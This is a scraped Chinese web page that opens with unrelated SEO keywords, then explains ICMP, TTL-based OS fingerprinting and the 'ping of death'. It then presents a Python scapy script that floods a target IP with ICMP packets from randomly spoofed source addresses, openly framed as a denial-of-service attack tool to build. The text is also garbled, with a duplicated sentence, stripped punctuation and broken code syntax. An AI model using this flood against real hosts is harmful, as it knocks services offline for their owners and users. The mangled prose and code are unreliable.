php 网站301,公司网站开发后台代码,广州的网站建设,校园网站建设培训的心得体会网络层是OSI参考模型中的第三层#xff0c;介于传输层和数据链路层之间#xff0c;其目的 是实现两个终端系统之间数据的透明传送#xff0c;具体功能包括#xff1a;寻址和路由选择、连 接的建立、保持和终止等。位于网络层的协议包括ARP 、IP和ICMP等。下面就 ICMP为例介于传输层和数据链路层之间其目的 是实现两个终端系统之间数据的透明传送具体功能包括寻址和路由选择、连 接的建立、保持和终止等。位于网络层的协议包括ARP 、IP和ICMP等。下面就 ICMP为例带领大家一起编写网络层拒绝服务攻击的脚本。 ICMP又称为控制报文协议用于在IP主机、路由器之间传递控制消息。控制 消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。通常检 测网络连通情况使用的ping指令就属于ICMP 如图9-16所示当有数据包有返回 值时代表网络连通否则表示网络中存在故障或不可达。通过ping指令不仅可 以查看网络的连通情况而且可以判定主机类型根据返回信息进行故障分析 等。 通常根据目标主机返回的TTL值确定目标主机的系统信息。TTL是指生存 期也就是所传输的数据在网络上经过的路由器的最大个数。这样可以有效防止 垃圾数据占据宝贵的网络带宽。不同的操作系统返回的TTL值也不相同UNIX 操作系统ICMP回显应答的TTL字段值为255位Linux操作系统ICMP回显应答的 TTL字段值为64位Windows操作系统ICMP回显应答的TTL字段值为32或128位。 如图9-16和图9-17所示分别为Linux系统和Windows系统返回的信息。 图9-16 目标Linux系统返回信息 图9-17 目标Windows系统返回信息 通过上面简单的介绍相信读者对ICMP已经有了一个大概的了解。同样通 过ping操作也可以达到拒绝服务攻击的效果例如“死亡之ping” 该现象的发生是 由于早期的操作系统在接收到较大的数据包后因无法及时处理而宕机现在的 操作系统则不会出现该问题。但是当控制多个僵尸主机一同向目标主机发送数 据时同样也会出现“死亡之ping” 使目标主机宕机。 下面将带领大家通过Python脚本实现工具的编写此处依然使用RandIP() 产生随机的源IP地址 U #-*- coding:utf-8 -*- import sys from scapy .all import * def start(argv) : if len(sys .argv)2: print(sys .argv[0] target_ip) sys .exit(0) while(1) : pds t sys .argv[1] send(IP(srcRand IP(),dstpds t)/ICMP()) if __name__ __main__ : #定义异常 try: start(sys .argv[1:]) except Keyboard Interrupt : print(interrupted by user, killing all threads . . .) 使用Wireshark来捕获发送出去的数据包如下所示 可以看出发送的源IP地址随机变化 目的IP地址固定不变为 192.168.0.105 。该地址在收到请求后由于发送的IP随机变化虚拟的IP地址未 向目标主机发送过请求故目标主机的通信流量中会存在ARP数据流。